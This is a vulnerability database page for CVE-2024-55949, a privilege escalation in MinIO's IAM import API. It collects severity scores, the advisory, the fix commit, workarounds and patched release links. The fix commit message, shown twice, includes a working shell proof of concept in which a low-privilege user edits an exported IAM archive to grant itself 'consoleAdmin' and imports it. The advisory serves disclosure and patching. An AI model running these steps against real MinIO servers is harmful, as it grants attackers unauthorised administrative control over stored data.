CVE-2024-55949

Privilege escalation in IAM import API in MinIO

9.3 CriticalFix available

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f. This issue has been addressed in commit f246c9053f9603e610d98439799bdd2a6b293427 which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: None

Exploit likelihood

0.61%Up 0.6 points since Dec 17, 2024

What each source reports

CVE List Score used 9.3

Privilege escalation in IAM import API in MinIO

Record: CVE-2024-55949
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-269
Updated: 2026-11-02

EUVDEUVD-2024-3532 9.3

Record: EUVD-2024-3532
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Updated: 2026-11-03

GitHub AdvisoriesGHSA-cwq8-g58r-32hg 7.1

MinIO vulnerable to privilege escalation in IAM import API

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <[email protected]>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)
    
    This API had missing permissions checking, allowing a user to change
    their policy mapping by:
    
    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
    
    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.
    
    Some more detailed steps - start from a fresh setup:
    
    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123
    
    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/
    
    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}

location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: `linux/amd64`

https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `linux/arm64`

https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `windows/amd64`

https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits

Credit goes to National Security Agency for reporting this issue.

Record: GHSA-cwq8-g58r-32hg
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-269
Updated: 2026-11-02

NVD 9.3

Record: CVE-2024-55949
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness: CWE-269
Updated: 2026-11-02

OSV 9.3

Privilege escalation in IAM import API in MinIO

Record: CVE-2024-55949
CVSS 4.0: 9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-269
Updated: 2026-11-02

OSVGHSA-cwq8-g58r-32hg 7.1

MinIO vulnerable to privilege escalation in IAM import API

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <[email protected]>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)
    
    This API had missing permissions checking, allowing a user to change
    their policy mapping by:
    
    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
    
    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.
    
    Some more detailed steps - start from a fresh setup:
    
    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123
    
    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/
    
    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}

location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: `linux/amd64`

https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: `linux/arm64`

https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Architecture: `windows/amd64`

https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: `linux/amd64`

https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `linux/arm64`

https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Architecture: `windows/amd64`

https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z

Credits

Credit goes to National Security Agency for reporting this issue.

Record: GHSA-cwq8-g58r-32hg
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness: CWE-269
Updated: 2026-11-02

OSVGO-2024-3336 No score

MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio

MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio

Record: GO-2024-3336
Updated: 2026-11-02

OSVopenSUSE-SU-2024:14603-1 No score

govulncheck-vulndb-0.0.20241218T202206-1.1 on GA media

These are all security issues fixed in the govulncheck-vulndb-0.0.20241218T202206-1.1 package on the GA media of openSUSE Tumbleweed.

Record: openSUSE-SU-2024:14603-1
Updated: 2026-11-02

Affected products

minio

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/minio/minio` Go	0.0.0-20220623162515-580d9db85e04 up to 0.0.0-20241213221912-68b004a48f41	0.0.0-20241213221912-68b004a48f41
`govulncheck-vulndb` openSUSE:Tumbleweed From an advisory covering 8 CVEs	before 0.0.20241218T202206-1.1	0.0.20241218T202206-1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 3, 2026	aliases	EUVD
Nov 2, 2026	first indexed	CVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-55949 is a critical vulnerability (CVSS 9.3) in Minio, published December 16, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in github.com/minio/minio 0.0.0-20241213221912-68b004a48f41.

References

Show 11 moreShow less

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Impact

Patches

Workarounds

References

Binary Releases

AiStor Containers

AiStor Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Community Containers

Community Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Credits

Impact

Patches

Workarounds

References

Binary Releases

AiStor Containers

AiStor Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Community Containers

Community Binaries

Architecture: linux/amd64

Architecture: linux/arm64

Architecture: windows/amd64

Credits

Affected products

Affected packages

History

In short

References

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`

Architecture: `linux/amd64`

Architecture: `linux/arm64`

Architecture: `windows/amd64`